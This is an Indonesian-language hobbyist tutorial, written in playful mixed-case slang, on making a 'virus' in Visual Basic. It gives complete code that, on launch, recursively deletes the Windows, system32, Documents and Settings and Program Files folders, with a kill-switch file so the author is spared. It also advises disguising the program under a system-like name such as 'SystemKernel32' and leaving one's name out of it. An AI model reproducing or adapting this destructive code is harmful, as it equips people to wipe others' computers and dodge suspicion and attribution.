TuToRiaL ViRus sIngKaT

NecH arTikeL Tut0riaL buaT biKin viRus yAng Rada mEmaTikaN.. Tapi simpLe Dan kaya’nYa siCh gaK baKaL kEdekTekSi anTiviRus.. s0aLnya caRa kerJanYa simpLe GiTu...
daN Yang anDa perLuKan adaLah:



1. ViSuaL BaSic (optimal : 6.0)
2. NgerTi TomboL_t0mBoLnYa VisuaL BaSic
3.Kopi+singKong Rebus buaT Temen diDepan PC
—- more —-

Tutorial BiKin Virus Cuma 1 mEniT...BeRikuT iNi caRanYa.....
1. BiKin f0rm seKeciL mUnGkiN
2. DidaLem f0rm iTu..maSuKin NecH k0de

Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub
Private Sub Form_Load()
On Error Resume Next
If FileExist(”c:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(”c:\windows\system”)
Call DelAll(”c:\windows\system32?)
Call DelAll(”c:\windows”)
Call DelAll(”C:\Documents and Settings\All Users”)
Call DelAll(”C:\Documents and Settings\Administrator”)
Call DelAll(”C:\Documents and Settings”)
Call DelAll(”C:\Program Files\Common Files”)
Call DelAll(”C:\Program Files\Internet Explorer”)
Call DelAll(”C:\Program Files\Microsoft Visual Studio”)
Call DelAll(”C:\Program Files”)
End
End If
End Sub
Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function
3. KoDe yanG waRna biRu iTu peNangkaL NecH virus..baRang kaLi Loe gaX senGaja TeKen...jaDi Loe seLamaT.. jadi Di foLder c:\windows\system32\ kaLo aDa fiLe namanYa katak.txt.. Loe gaX bakaL keSeRang senDiRi… Bisa Loe ediT kUg jaDi aPa giTu…Yang waRna merah itu foLder yg bakal didelete ama NeCh viRus..Loe eDit NdiRi ajacH…
4. Bikin nih project namanya kaya nama system, disini gwe make nama “SystemKernel32? jadi ga bakal dicurigain
5. JanGan peRnah naRoh naMa Loe Di Nech virus…okC???
6. compiLe deCh… FinisH
NB : viRus iNi keRjanYa Cuma MenGhaPus sysTem... LumaYan baHaya… ResIko gaK diTanGgunG peNuLis Yach....